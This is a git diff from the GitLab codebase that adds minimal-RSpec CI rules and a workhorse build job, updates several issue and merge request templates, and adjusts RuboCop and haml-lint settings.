# Set DAST_RUN to true when jobs are manually scheduled.
diff --git a/.gitlab/ci/rules.gitlab-ci.yml b/.gitlab/ci/rules.gitlab-ci.yml
index 7f469221da2..159defc83c3 100644
--- a/.gitlab/ci/rules.gitlab-ci.yml
+++ b/.gitlab/ci/rules.gitlab-ci.yml
@@ -46,6 +46,9 @@
.if-security-merge-request: &if-security-merge-request
if: '$CI_PROJECT_NAMESPACE == "gitlab-org/security" && $CI_MERGE_REQUEST_IID'
+.if-security-schedule: &if-security-schedule
+ if: '$CI_PROJECT_NAMESPACE == "gitlab-org/security" && $CI_PIPELINE_SOURCE == "schedule"'
+
.if-dot-com-gitlab-org-schedule: &if-dot-com-gitlab-org-schedule
if: '$CI_SERVER_HOST == "gitlab.com" && $CI_PROJECT_NAMESPACE == "gitlab-org" && $CI_PIPELINE_SOURCE == "schedule"'
@@ -67,6 +70,9 @@
.if-cache-credentials-schedule: &if-cache-credentials-schedule
if: '$CI_REPO_CACHE_CREDENTIALS && $CI_PIPELINE_SOURCE == "schedule"'
+.if-merge-request-rspec-minimal-disabled: &if-merge-request-rspec-minimal-disabled
+ if: '$CI_MERGE_REQUEST_IID && $RSPEC_MINIMAL_ENABLED != "true"'
+
.if-rspec-fail-fast-disabled: &if-rspec-fail-fast-disabled
if: '$RSPEC_FAIL_FAST_ENABLED != "true"'
@@ -103,6 +109,10 @@
- ".gitlab/ci/build-images.gitlab-ci.yml"
- ".gitlab/ci/qa.gitlab-ci.yml"
+.workhorse-patterns: &workhorse-patterns
+ - "GITLAB_WORKHORSE_VERSION"
+ - "workhorse/**/*"
+
.yaml-lint-patterns: &yaml-lint-patterns
- ".gitlab-ci.yml"
- ".gitlab/ci/**/*.yml"
@@ -154,6 +164,7 @@
- "{,ee/}fixtures/**/*"
- "{,ee/}rubocop/**/*"
- "{,ee/}spec/**/*"
+ - "{,spec/}tooling/**/*"
.code-patterns: &code-patterns
- "{package.json,yarn.lock}"
@@ -200,6 +211,7 @@
- "{,ee/}fixtures/**/*"
- "{,ee/}rubocop/**/*"
- "{,ee/}spec/**/*"
+ - "{,spec/}tooling/**/*"
.code-qa-patterns: &code-qa-patterns
- "{package.json,yarn.lock}"
@@ -245,6 +257,7 @@
- "{,ee/}fixtures/**/*"
- "{,ee/}rubocop/**/*"
- "{,ee/}spec/**/*"
+ - "{,spec/}tooling/**/*"
# QA changes
- ".dockerignore"
- "qa/**/*"
@@ -255,6 +268,7 @@
.shared:rules:update-cache:
rules:
- <<: *if-master-schedule-2-hourly
+ - <<: *if-security-schedule
- <<: *if-merge-request-title-update-caches
######################
@@ -395,6 +409,7 @@
when: never
- <<: *if-merge-request
changes: *code-backstage-patterns
+ when: always
- <<: *if-master-refs
changes: *code-backstage-patterns
@@ -480,26 +495,86 @@
- changes: *db-patterns
- <<: *if-merge-request-title-run-all-rspec
+.rails:rules:ee-and-foss-migration:minimal:
+ rules:
+ - <<: *if-merge-request-rspec-minimal-disabled
+ when: never
+ - <<: *if-merge-request-title-run-all-rspec
+ when: never
+ - <<: *if-merge-request
+ changes: *ci-patterns
+ when: never
+ - <<: *if-merge-request
+ changes: *db-patterns
+
.rails:rules:ee-and-foss-unit:
rules:
- changes: *backend-patterns
- <<: *if-merge-request-title-run-all-rspec
+.rails:rules:ee-and-foss-unit:minimal:
+ rules:
+ - <<: *if-merge-request-rspec-minimal-disabled
+ when: never
+ - <<: *if-merge-request-title-run-all-rspec
+ when: never
+ - <<: *if-merge-request
+ changes: *ci-patterns
+ when: never
+ - <<: *if-merge-request
+ changes: *backend-patterns
+
.rails:rules:ee-and-foss-integration:
rules:
- changes: *backend-patterns
- <<: *if-merge-request-title-run-all-rspec
+.rails:rules:ee-and-foss-integration:minimal:
+ rules:
+ - <<: *if-merge-request-rspec-minimal-disabled
+ when: never
+ - <<: *if-merge-request-title-run-all-rspec
+ when: never
+ - <<: *if-merge-request
+ changes: *ci-patterns
+ when: never
+ - <<: *if-merge-request
+ changes: *backend-patterns
+
.rails:rules:ee-and-foss-system:
rules:
- changes: *code-backstage-patterns
- <<: *if-merge-request-title-run-all-rspec
+.rails:rules:ee-and-foss-system:minimal:
+ rules:
+ - <<: *if-merge-request-rspec-minimal-disabled
+ when: never
+ - <<: *if-merge-request-title-run-all-rspec
+ when: never
+ - <<: *if-merge-request
+ changes: *ci-patterns
+ when: never
+ - <<: *if-merge-request
+ changes: *code-backstage-patterns
+
.rails:rules:ee-and-foss-fast_spec_helper:
rules:
- changes: ["config/**/*"]
- <<: *if-merge-request-title-run-all-rspec
+.rails:rules:ee-and-foss-fast_spec_helper:minimal:
+ rules:
+ - <<: *if-merge-request-rspec-minimal-disabled
+ when: never
+ - <<: *if-merge-request-title-run-all-rspec
+ when: never
+ - <<: *if-merge-request
+ changes: *ci-patterns
+ when: never
+ - <<: *if-merge-request
+ changes: ["config/**/*"]
+
.rails:rules:default-refs-code-backstage-qa:
rules:
- <<: *if-default-refs
@@ -513,6 +588,20 @@
- changes: *db-patterns
- <<: *if-merge-request-title-run-all-rspec
+.rails:rules:ee-only-migration:minimal:
+ rules:
+ - <<: *if-not-ee
+ when: never
+ - <<: *if-merge-request-rspec-minimal-disabled
+ when: never
+ - <<: *if-merge-request-title-run-all-rspec
+ when: never
+ - <<: *if-merge-request
+ changes: *ci-patterns
+ when: never
+ - <<: *if-merge-request
+ changes: *db-patterns
+
.rails:rules:ee-only-unit:
rules:
- <<: *if-not-ee
@@ -520,6 +609,20 @@
- changes: *backend-patterns
- <<: *if-merge-request-title-run-all-rspec
+.rails:rules:ee-only-unit:minimal:
+ rules:
+ - <<: *if-not-ee
+ when: never
+ - <<: *if-merge-request-rspec-minimal-disabled
+ when: never
+ - <<: *if-merge-request-title-run-all-rspec
+ when: never
+ - <<: *if-merge-request
+ changes: *ci-patterns
+ when: never
+ - <<: *if-merge-request
+ changes: *backend-patterns
+
.rails:rules:ee-only-integration:
rules:
- <<: *if-not-ee
@@ -527,6 +630,20 @@
- changes: *backend-patterns
- <<: *if-merge-request-title-run-all-rspec
+.rails:rules:ee-only-integration:minimal:
+ rules:
+ - <<: *if-not-ee
+ when: never
+ - <<: *if-merge-request-rspec-minimal-disabled
+ when: never
+ - <<: *if-merge-request-title-run-all-rspec
+ when: never
+ - <<: *if-merge-request
+ changes: *ci-patterns
+ when: never
+ - <<: *if-merge-request
+ changes: *backend-patterns
+
.rails:rules:ee-only-system:
rules:
- <<: *if-not-ee
@@ -534,6 +651,20 @@
- changes: *code-backstage-patterns
- <<: *if-merge-request-title-run-all-rspec
+.rails:rules:ee-only-system:minimal:
+ rules:
+ - <<: *if-not-ee
+ when: never
+ - <<: *if-merge-request-rspec-minimal-disabled
+ when: never
+ - <<: *if-merge-request-title-run-all-rspec
+ when: never
+ - <<: *if-merge-request
+ changes: *ci-patterns
+ when: never
+ - <<: *if-merge-request
+ changes: *code-backstage-patterns
+
.rails:rules:as-if-foss-migration:
rules:
- <<: *if-not-ee
@@ -545,6 +676,20 @@
- <<: *if-merge-request
changes: *ci-patterns
+.rails:rules:as-if-foss-migration:minimal:
+ rules:
+ - <<: *if-not-ee
+ when: never
+ - <<: *if-merge-request-rspec-minimal-disabled
+ when: never
+ - <<: *if-merge-request
+ changes: *ci-patterns
+ when: never
+ - <<: *if-security-merge-request
+ changes: *db-patterns
+ - <<: *if-merge-request-title-as-if-foss
+ changes: *db-patterns
+
.rails:rules:as-if-foss-unit:
rules:
- <<: *if-not-ee
@@ -556,6 +701,20 @@
- <<: *if-merge-request
changes: *ci-patterns
+.rails:rules:as-if-foss-unit:minimal:
+ rules:
+ - <<: *if-not-ee
+ when: never
+ - <<: *if-merge-request-rspec-minimal-disabled
+ when: never
+ - <<: *if-merge-request
+ changes: *ci-patterns
+ when: never
+ - <<: *if-security-merge-request
+ changes: *backend-patterns
+ - <<: *if-merge-request-title-as-if-foss
+ changes: *backend-patterns
+
.rails:rules:as-if-foss-integration:
rules:
- <<: *if-not-ee
@@ -567,6 +726,20 @@
- <<: *if-merge-request
changes: *ci-patterns
+.rails:rules:as-if-foss-integration:minimal:
+ rules:
+ - <<: *if-not-ee
+ when: never
+ - <<: *if-merge-request-rspec-minimal-disabled
+ when: never
+ - <<: *if-merge-request
+ changes: *ci-patterns
+ when: never
+ - <<: *if-security-merge-request
+ changes: *backend-patterns
+ - <<: *if-merge-request-title-as-if-foss
+ changes: *backend-patterns
+
.rails:rules:as-if-foss-system:
rules:
- <<: *if-not-ee
@@ -578,6 +751,20 @@
- <<: *if-merge-request
changes: *ci-patterns
+.rails:rules:as-if-foss-system:minimal:
+ rules:
+ - <<: *if-not-ee
+ when: never
+ - <<: *if-merge-request-rspec-minimal-disabled
+ when: never
+ - <<: *if-merge-request
+ changes: *ci-patterns
+ when: never
+ - <<: *if-security-merge-request
+ changes: *code-backstage-patterns
+ - <<: *if-merge-request-title-as-if-foss
+ changes: *code-backstage-patterns
+
.rails:rules:ee-mr-and-master-only:
rules:
- <<: *if-not-ee
@@ -590,12 +777,9 @@
.rails:rules:detect-tests:
rules:
- - <<: *if-not-ee
- when: never
- - <<: *if-security-merge-request
- changes: *code-backstage-patterns
- - <<: *if-dot-com-gitlab-org-merge-request
+ - <<: *if-default-refs
changes: *code-backstage-patterns
+ - <<: *if-merge-request-title-run-all-rspec
.rails:rules:rspec-foss-impact:
rules:
@@ -647,8 +831,10 @@
when: never
- <<: *if-merge-request
changes: *code-backstage-patterns
+ when: always
- <<: *if-master-schedule-2-hourly
- <<: *if-merge-request-title-run-all-rspec
+ when: always
.rails:rules:rspec-feature-flags:
rules:
@@ -913,6 +1099,14 @@
changes: *code-backstage-patterns
###################
+# workhorse rules #
+###################
+.workhorse:rules:workhorse:
+ rules:
+ - <<: *if-default-refs
+ changes: *workhorse-patterns
+
+###################
# yaml-lint rules #
###################
.yaml-lint:rules:
diff --git a/.gitlab/ci/setup.gitlab-ci.yml b/.gitlab/ci/setup.gitlab-ci.yml
index abe7625c740..74510a0a03a 100644
--- a/.gitlab/ci/setup.gitlab-ci.yml
+++ b/.gitlab/ci/setup.gitlab-ci.yml
@@ -61,15 +61,17 @@ verify-tests-yml:
- scripts/verify-tff-mapping
.detect-test-base:
- image: ruby:2.7-alpine
+ image: ruby:2.7
needs: []
stage: prepare
script:
- - source scripts/utils.sh
+ - source ./scripts/utils.sh
+ - source ./scripts/rspec_helpers.sh
- install_gitlab_gem
- install_tff_gem
- - tooling/bin/find_foss_tests ${MATCHED_TESTS_FILE}
- - 'echo "test files affected: $(cat $MATCHED_TESTS_FILE)"'
+ - retrieve_tests_mapping
+ - 'if [ -n "$CI_MERGE_REQUEST_IID" ]; then tooling/bin/find_tests ${MATCHED_TESTS_FILE}; fi'
+ - 'if [ -n "$CI_MERGE_REQUEST_IID" ]; then echo "test files affected: $(cat $MATCHED_TESTS_FILE)"; fi'
artifacts:
expire_in: 7d
paths:
@@ -80,6 +82,7 @@ detect-tests:
- .detect-test-base
- .rails:rules:detect-tests
variables:
+ RSPEC_TESTS_MAPPING_ENABLED: "true"
MATCHED_TESTS_FILE: tmp/matching_tests.txt
detect-tests as-if-foss:
diff --git a/.gitlab/ci/test-metadata.gitlab-ci.yml b/.gitlab/ci/test-metadata.gitlab-ci.yml
index e4b7047ef71..aec0a1640f1 100644
--- a/.gitlab/ci/test-metadata.gitlab-ci.yml
+++ b/.gitlab/ci/test-metadata.gitlab-ci.yml
@@ -1,6 +1,5 @@
.tests-metadata-state:
- variables:
- TESTS_METADATA_S3_BUCKET: "gitlab-ce-cache"
+ image: ruby:2.7
before_script:
- source scripts/utils.sh
artifacts:
@@ -17,7 +16,8 @@ retrieve-tests-metadata:
- .test-metadata:rules:retrieve-tests-metadata
stage: prepare
script:
- - source scripts/rspec_helpers.sh
+ - install_gitlab_gem
+ - source ./scripts/rspec_helpers.sh
- retrieve_tests_metadata
update-tests-metadata:
diff --git a/.gitlab/ci/workhorse.gitlab-ci.yml b/.gitlab/ci/workhorse.gitlab-ci.yml
new file mode 100644
index 00000000000..29131159876
--- /dev/null
+++ b/.gitlab/ci/workhorse.gitlab-ci.yml
@@ -0,0 +1,10 @@
+workhorse:
+ extends: .workhorse:rules:workhorse
+ image: golang:1.14
+ stage: test
+ needs: []
+ script:
+ - rm .git/hooks/post-checkout
+ - git checkout .
+ - scripts/update-workhorse check
+ - make -C workhorse
diff --git a/.gitlab/issue_templates/Doc Review.md b/.gitlab/issue_templates/Doc Review.md
index bd3843ac5cd..5b470ed7c75 100644
--- a/.gitlab/issue_templates/Doc Review.md
+++ b/.gitlab/issue_templates/Doc Review.md
@@ -3,7 +3,7 @@
<!-- NOTE: Please add a DevOps stage label (format `devops:<stage_name>`)
and assign the technical writer who is
- [listed for that stage](https://about.gitlab.com/handbook/product/product-categories/#devops-stages). -->
+ [listed for that stage](https://about.gitlab.com/handbook/product/categories/#devops-stages). -->
## References
diff --git a/.gitlab/issue_templates/Experiment Successful Cleanup.md b/.gitlab/issue_templates/Experiment Successful Cleanup.md
new file mode 100644
index 00000000000..3f148ec00b1
--- /dev/null
+++ b/.gitlab/issue_templates/Experiment Successful Cleanup.md
@@ -0,0 +1,18 @@
+<!-- Title suggestion: [Experiment Name] Successful Cleanup -->
+
+## Summary
+
+The experiment is currently rolled out to 100% of users and has been deemed a success.
+The changes need to become an official part of the product.
+
+## Steps
+
+- [ ] Determine whether the feature should apply to SaaS and/or self-managed
+- [ ] Determine whether the feature should apply to EE - and which tiers - and/or Core
+- [ ] Determine if tracking should be kept as is, removed, or modified.
+- [ ] Migrate experiment to a default enabled [feature flag](https://docs.gitlab.com/ee/development/feature_flags/development.html) for one milestone and add a changelog. Converting to a feature flag can be skipped at the ICs discretion if risk is deemed low with consideration to both SaaS and (if applicable) self managed.
+- [ ] Ensure any relevant documentation has been updated.
+- [ ] In the next milestone, [remove the feature flag](https://docs.gitlab.com/ee/development/feature_flags/controls.html#cleaning-up).
+- [ ] After the flag removal is deployed, [clean up the feature/experiment feature flags](https://docs.gitlab.com/ee/development/feature_flags/controls.html#cleaning-up) by running chatops command in `#production` channel
+
+/label ~"feature" ~"feature::maintenance" ~"workflow::scheduling" ~"growth experiment" ~"feature flag"
diff --git a/.gitlab/issue_templates/Feature Flag Roll Out.md b/.gitlab/issue_templates/Feature Flag Roll Out.md
index a0b64b53250..67686b654bd 100644
--- a/.gitlab/issue_templates/Feature Flag Roll Out.md
+++ b/.gitlab/issue_templates/Feature Flag Roll Out.md
@@ -18,7 +18,8 @@ Remove the `:feature_name` feature flag ...
### What can we monitor to detect problems with this?
-<!-- Which dashboards from https://dashboards.gitlab.net are most relevant? -->
+<!-- Which dashboards from https://dashboards.gitlab.net are most relevant? Sentry errors reports can alse be useful to review -->
+
## Beta groups/projects
@@ -30,13 +31,13 @@ If applicable, any groups/projects that are happy to have this feature turned on
## Roll Out Steps
+- [ ] Confirm that QA tests pass with the feature flag enabled (if you're unsure how, contact the relevant [stable counterpart in the Quality department](https://about.gitlab.com/handbook/engineering/quality/#individual-contributors))
- [ ] Enable on staging (`/chatops run feature set feature_name true --staging`)
- [ ] Test on staging
- [ ] Ensure that documentation has been updated
- [ ] Enable on GitLab.com for individual groups/projects listed above and verify behaviour (`/chatops run feature set --project=gitlab-org/gitlab feature_name true`)
- [ ] Coordinate a time to enable the flag with the SRE oncall and release managers
- - In `#production` by pinging `@sre-oncall`
- - In `#g_delivery` by pinging `@release-managers`
+ - In `#production` mention `@sre-oncall` and `@release-managers`. Once an SRE on call and Release Manager on call confirm, you can proceed with the rollout
- [ ] Announce on the issue an estimated time this will be enabled on GitLab.com
- [ ] Enable on GitLab.com by running chatops command in `#production` (`/chatops run feature set feature_name true`)
- [ ] Cross post chatops Slack command to `#support_gitlab-com` ([more guidance when this is necessary in the dev docs](https://docs.gitlab.com/ee/development/feature_flags/controls.html#where-to-run-commands)) and in your team channel
diff --git a/.gitlab/issue_templates/Feature proposal.md b/.gitlab/issue_templates/Feature proposal.md
index b6f83be9121..5ab46bfa26f 100644
--- a/.gitlab/issue_templates/Feature proposal.md
+++ b/.gitlab/issue_templates/Feature proposal.md
@@ -96,8 +96,11 @@ In which enterprise tier should this feature go? See https://about.gitlab.com/ha
### Links / references
-<!-- Label reminders - you should have one of each of the following labels.
-Read the descriptions on https://gitlab.com/gitlab-org/gitlab/-/labels to find the correct ones -->
+<!-- Label reminders - you should have one of each of the following labels.
+Use the following resources to find the appropriate labels:
+- https://gitlab.com/gitlab-org/gitlab/-/labels
+- https://about.gitlab.com/handbook/product/categories/features/
+-->
/label ~devops:: ~group: ~Category:
/label ~feature
diff --git a/.gitlab/issue_templates/Implementation.md b/.gitlab/issue_templates/Implementation.md
index dc5eb18a25e..888c993766a 100644
--- a/.gitlab/issue_templates/Implementation.md
+++ b/.gitlab/issue_templates/Implementation.md
@@ -42,7 +42,7 @@ call-out responsibilities for other team members or teams.
-->
- [ ] ~frontend Step 1
- - [ ] @person Step 1a
+ - [ ] `@person` Step 1a
- [ ] ~frontend Step 2
diff --git a/.gitlab/issue_templates/Lean Feature Proposal.md b/.gitlab/issue_templates/Lean Feature Proposal.md
index b1cb98ba5e9..44210a89023 100644
--- a/.gitlab/issue_templates/Lean Feature Proposal.md
+++ b/.gitlab/issue_templates/Lean Feature Proposal.md
@@ -17,7 +17,11 @@
/label ~"feature" ~"group::" ~"section::" ~"Category::" ~"GitLab Core"/~"GitLab Starter"/~"GitLab Premium"/~"GitLab Ultimate"
-<!-- Read the labels descriptions on https://gitlab.com/gitlab-org/gitlab/-/labels to find the appropriate labels. Consider adding related issues and epics to this issue. You can also reference the Feature Proposal Template (https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/issue_templates/Feature%20proposal.md) for additional details to consider adding to this issue. Additionally, as a data oriented organization, when your feature exits planning breakdown, consider adding the `What does success look like, and how can we measure that?` section.
+<!--- Use the following resources to find the appropriate labels:
+- https://gitlab.com/gitlab-org/gitlab/-/labels
+- https://about.gitlab.com/handbook/product/categories/features/
+
+Consider adding related issues and epics to this issue. You can also reference the Feature Proposal Template (https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/issue_templates/Feature%20proposal.md) for additional details to consider adding to this issue. Additionally, as a data oriented organization, when your feature exits planning breakdown, consider adding the `What does success look like, and how can we measure that?` section.
Other sections to consider adding:
diff --git a/.gitlab/issue_templates/Security Release Tracking Issue.md b/.gitlab/issue_templates/Security Release Tracking Issue.md
deleted file mode 100644
index fce68d61204..00000000000
--- a/.gitlab/issue_templates/Security Release Tracking Issue.md
+++ /dev/null
@@ -1,41 +0,0 @@
-<!--
-# Read me first!
-
-Set the title to: `Security Release: 12.2.X, 12.1.X, and 12.0.X`
--->
-
-:warning: **Only Release Managers and members of the AppSec team can edit the description of this issue**
-
--------
-
-## Version issues:
-
-12.2.X, 12.1.X, 12.0.X: {release task link}
-
-## Issues in GitLab Security
-
-To include your issue and merge requests in this Security Release, please mark
-your security issues as related to this release tracking issue. You can do this
-in the "Linked issues" section below this issue description.
-
-:warning: If your security issues are not marked as related to this release
-tracking issue, their merge requests will not be included in the security
-release.
-
-### Branches to target in GitLab Security
-
-Your Security Implementation Issue should have `4` merge requests associated:
-
-- [master and 3 backports](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/security/developer.md#backports)
-- Backports should target the stable branches for the versions mentioned included in this Security Release
-
-## Blog post
-
-Security: {https://gitlab.com/gitlab-org/security/www-gitlab-com/merge_requests/ link}<br/>
-GitLab.com: {https://gitlab.com/gitlab-com/www-gitlab-com/merge_requests/ link}
-
-## Email notification
-{https://gitlab.com/gitlab-com/marketing/general/issues/ link}
-
-/label ~security ~"upcoming security release"
-/confidential
diff --git a/.gitlab/issue_templates/Snowplow event tracking.md b/.gitlab/issue_templates/Snowplow event tracking.md
index 47b97f377c2..4a906b61378 100644
--- a/.gitlab/issue_templates/Snowplow event tracking.md
+++ b/.gitlab/issue_templates/Snowplow event tracking.md
@@ -37,6 +37,10 @@ We generally recommend events be tracked using a [structured event](https://docs
* [ ] Create chart(s) to track your event(s) in the relevant dashboard
* [ ] Use the [Chart Snowplow Actions](https://app.periscopedata.com/app/gitlab/snippet/Chart-Snowplow-Actions/5546da87ae2c4a3fbc98415c88b3eedd/edit) SQL snippet to quickly visualize usage. See [example](https://app.periscopedata.com/app/gitlab/737489/Health-Group-Dashboard?widget=9797112&udv=0)
-<!-- Label reminders - you should have one of each of the following labels if you can figure out the correct ones -->
+<!-- Label reminders - you should have one of each of the following labels.
+Use the following resources to find the appropriate labels:
+- https://gitlab.com/gitlab-org/gitlab/-/labels
+- https://about.gitlab.com/handbook/product/categories/features/
+-->
/label ~devops:: ~group: ~Category:
/label ~"snowplow tracking events"
diff --git a/.gitlab/issue_templates/actionable_insight.md b/.gitlab/issue_templates/actionable_insight.md
index 68b2b153831..ff6a4f12918 100644
--- a/.gitlab/issue_templates/actionable_insight.md
+++ b/.gitlab/issue_templates/actionable_insight.md
@@ -31,5 +31,4 @@ Actionable insights always have a follow-up action that needs to take place as a
-
- /label ~"Actionable Insight"
+/label ~"Actionable Insight"
diff --git a/.gitlab/merge_request_templates/Documentation.md b/.gitlab/merge_request_templates/Documentation.md
index b059c1f68ad..9113bf7d028 100644
--- a/.gitlab/merge_request_templates/Documentation.md
+++ b/.gitlab/merge_request_templates/Documentation.md
@@ -15,9 +15,9 @@
## Author's checklist (required)
-- [ ] Follow the [Documentation Guidelines](https://docs.gitlab.com/ee/development/documentation/) and [Style Guide](https://docs.gitlab.com/ee/development/documentation/styleguide.html).
+- [ ] Follow the [Documentation Guidelines](https://docs.gitlab.com/ee/development/documentation/) and [Style Guide](https://docs.gitlab.com/ee/development/documentation/styleguide/).
- If you have **Developer** permissions or higher:
- - [ ] Ensure that the [product tier badge](https://docs.gitlab.com/ee/development/documentation/styleguide.html#product-badges) is added to doc's `h1`.
+ - [ ] Ensure that the [product tier badge](https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#product-tier-badges) is added to doc's `h1`.
- [ ] Apply the ~documentation label, plus:
- The corresponding DevOps stage and group labels, if applicable.
- ~"development guidelines" when changing docs under `doc/development/*`, `CONTRIBUTING.md`, or `README.md`.
@@ -45,7 +45,7 @@ All reviewers can help ensure accuracy, clarity, completeness, and adherence to
**2. Technical Writer**
-- [ ] Technical writer review. If not requested for this MR, must be scheduled post-merge. To request for this MR, assign the writer listed for the applicable [DevOps stage](https://about.gitlab.com/handbook/product/product-categories/#devops-stages).
+- [ ] Technical writer review. If not requested for this MR, must be scheduled post-merge. To request for this MR, assign the writer listed for the applicable [DevOps stage](https://about.gitlab.com/handbook/product/categories/#devops-stages).
- [ ] Ensure docs metadata are present and up-to-date.
- [ ] Ensure ~"Technical Writing" and ~"documentation" are added.
- [ ] Add the corresponding `docs::` [scoped label](https://gitlab.com/groups/gitlab-org/-/labels?utf8=%E2%9C%93&subscribed=&search=docs%3A%3A).
diff --git a/.gitlab/merge_request_templates/New End To End Test.md b/.gitlab/merge_request_templates/New End To End Test.md
new file mode 100644
index 00000000000..9bd7f11d4a5
--- /dev/null
+++ b/.gitlab/merge_request_templates/New End To End Test.md
@@ -0,0 +1,26 @@
+## Description of the test
+
+<!--
+Please link to the respective test case in the testcases project
+-->
+
+### Check-list
+
+- [ ] Confirm the test has a [`testcase:` tag linking to an existing test case](https://docs.gitlab.com/ee/development/testing_guide/end_to_end/best_practices.html#link-a-test-to-its-test-case-issue) in the test case project.
+- [ ] Note if the test is intended to run in specific scenarios. If a scenario is new, add a link to the MR that adds the new scenario.
+- [ ] Follow the end-to-end tests [style guide](https://docs.gitlab.com/ee/development/testing_guide/end_to_end/style_guide.html) and [best practices](https://docs.gitlab.com/ee/development/testing_guide/end_to_end/best_practices.html).
+- [ ] Use the appropriate [RSpec metadata tag(s)](https://docs.gitlab.com/ee/development/testing_guide/end_to_end/rspec_metadata_tests.html#rspec-metadata-for-end-to-end-tests).
+- [ ] Ensure that a created resource is removed after test execution.
+- [ ] Verify the tags to ensure it runs on the desired test environments.
+- [ ] If this MR has a dependency on another MR, such as a GitLab QA MR, specify the order in which the MRs should be merged.
+- [ ] (If applicable) Create a follow-up issue to document [the special setup](https://docs.gitlab.com/ee/development/testing_guide/end_to_end/running_tests_that_require_special_setup.html) necessary to run the test: ISSUE_LINK
+
+<!-- Base labels. -->
+/label ~"Quality" ~"QA" ~test
+
+<!-- If the test is addressing a test gap, select a label according to the feature under test, please use just one. -->
+
+/label ~"Quality:test-gap" ~"Quality:EE test gaps"
+
+<!-- Select the appropriate feature label, ~"feature::addition" for tests added for new features, ~"feature::maintenance" for tests added for existing features -->
+/label ~"feature::addition" ~"feature::maintenance"
diff --git a/.haml-lint_todo.yml b/.haml-lint_todo.yml
index 6d6a5d2a813..c83d5420a4d 100644
--- a/.haml-lint_todo.yml
+++ b/.haml-lint_todo.yml
@@ -214,7 +214,6 @@ linters:
- 'app/views/projects/mattermosts/_team_selection.html.haml'
- 'app/views/projects/mattermosts/new.html.haml'
- 'app/views/projects/merge_requests/_commits.html.haml'
- - 'app/views/projects/merge_requests/_how_to_merge.html.haml'
- 'app/views/projects/merge_requests/_mr_title.html.haml'
- 'app/views/projects/merge_requests/conflicts/_commit_stats.html.haml'
- 'app/views/projects/merge_requests/conflicts/_file_actions.html.haml'
@@ -286,7 +285,6 @@ linters:
- 'app/views/shared/hook_logs/_content.html.haml'
- 'app/views/shared/issuable/_assignees.html.haml'
- 'app/views/shared/issuable/_board_create_list_dropdown.html.haml'
- - 'app/views/shared/issuable/_close_reopen_report_toggle.html.haml'
- 'app/views/shared/issuable/_form.html.haml'
- 'app/views/shared/issuable/_search_bar.html.haml'
- 'app/views/shared/issuable/_sidebar.html.haml'
diff --git a/.rubocop.yml b/.rubocop.yml
index 34d6fe5e434..b133ecbcf93 100644
--- a/.rubocop.yml
+++ b/.rubocop.yml
@@ -32,6 +32,7 @@ AllCops:
- 'builds/**/*'
- 'plugins/**/*'
- 'file_hooks/**/*'
+ - 'workhorse/**/*'
CacheRootDirectory: tmp
MaxFilesInCache: 18000
@@ -47,6 +48,10 @@ Cop/StaticTranslationDefinition:
- 'spec/**/*'
- 'ee/spec/**/*'
+Lint/LastKeywordArgument:
+ Enabled: true
+ Safe: false
+
# This cop checks whether some constant value isn't a
# mutable literal (e.g. array or hash).
Style/MutableConstant:
@@ -271,6 +276,12 @@ GitlabSecurity/PublicSend:
Gitlab/DuplicateSpecLocation:
Enabled: true
+Gitlab/PolicyRuleBoolean:
+ Enabled: true
+ Include:
+ - 'app/policies/**/*'
+ - 'ee/app/policies/**/*'
+
Cop/InjectEnterpriseEditionModule:
Enabled: true
Exclude:
@@ -357,6 +368,8 @@ Cop/SidekiqOptionsQueue:
Graphql/ResolverType:
Enabled: true
+ Exclude:
+ - 'app/graphql/resolvers/base_resolver.rb'
Include:
- 'app/graphql/resolvers/**/*'
- 'ee/app/graphql/resolvers/**/*'
@@ -422,13 +435,11 @@ Scalability/FileUploads:
Graphql/Descriptions:
Enabled: true
+ AutoCorrect: true
Include:
- 'app/graphql/**/*'
- 'ee/app/graphql/**/*'
-RSpec/AnyInstanceOf:
- Enabled: false
-
# Cops for upgrade to gitlab-styles 3.1.0
RSpec/ImplicitSubject:
Enabled: false
diff --git a/.rubocop_manual_todo.yml b/.rubocop_manual_todo.yml
index 0b6e0f64942..2ffbef850d0 100644
--- a/.rubocop_manual_todo.yml
+++ b/.rubocop_manual_todo.yml
@@ -2,7 +2,6 @@ FactoryBot/InlineAssociation:
Exclude:
- 'ee/spec/factories/analytics/cycle_analytics/group_stages.rb'
- 'ee/spec/factories/geo/event_log.rb'
- - 'ee/spec/factories/groups.rb'
- 'ee/spec/factories/merge_request_blocks.rb'
- 'ee/spec/factories/vulnerabilities/feedback.rb'
- 'spec/factories/atlassian_identities.rb'
@@ -14,20 +13,14 @@ FactoryBot/InlineAssociation:
- 'spec/factories/go_modules.rb'
- 'spec/factories/group_group_links.rb'
- 'spec/factories/import_export_uploads.rb'
- - 'spec/factories/merge_requests.rb'
- 'spec/factories/notes.rb'
- - 'spec/factories/sent_notifications.rb'
- 'spec/factories/uploads.rb'
- 'spec/factories/wiki_pages.rb'
Graphql/IDType:
Exclude:
- 'ee/app/graphql/ee/mutations/issues/update.rb'
- - 'ee/app/graphql/mutations/iterations/update.rb'
- - 'ee/app/graphql/resolvers/iterations_resolver.rb'
- 'app/graphql/mutations/boards/issues/issue_move_list.rb'
- - 'app/graphql/mutations/issues/update.rb'
- - 'app/graphql/mutations/metrics/dashboard/annotations/delete.rb'
- 'app/graphql/resolvers/design_management/design_at_version_resolver.rb'
- 'app/graphql/resolvers/design_management/design_resolver.rb'
- 'app/graphql/resolvers/design_management/designs_resolver.rb'
@@ -39,18 +32,9 @@ Graphql/IDType:
- 'app/graphql/resolvers/error_tracking/sentry_error_stack_trace_resolver.rb'
- 'app/graphql/resolvers/user_merge_requests_resolver.rb'
-Graphql/ResolverType:
+Gitlab/PolicyRuleBoolean:
Exclude:
- - 'app/graphql/resolvers/base_resolver.rb'
- - 'app/graphql/resolvers/ci/jobs_resolver.rb'
- - 'app/graphql/resolvers/ci/pipeline_stages_resolver.rb'
- - 'app/graphql/resolvers/error_tracking/sentry_error_stack_trace_resolver.rb'
- - 'app/graphql/resolvers/merge_requests_resolver.rb'
- - 'app/graphql/resolvers/users/group_count_resolver.rb'
- - 'ee/app/graphql/resolvers/geo/merge_request_diff_registries_resolver.rb'
- - 'ee/app/graphql/resolvers/geo/package_file_registries_resolver.rb'
- - 'ee/app/graphql/resolvers/geo/terraform_state_version_registries_resolver.rb'
- - 'ee/app/graphql/resolvers/vulnerabilities_base_resolver.rb'
+ - 'ee/app/policies/ee/identity_provider_policy.rb'
Rails/SaveBang:
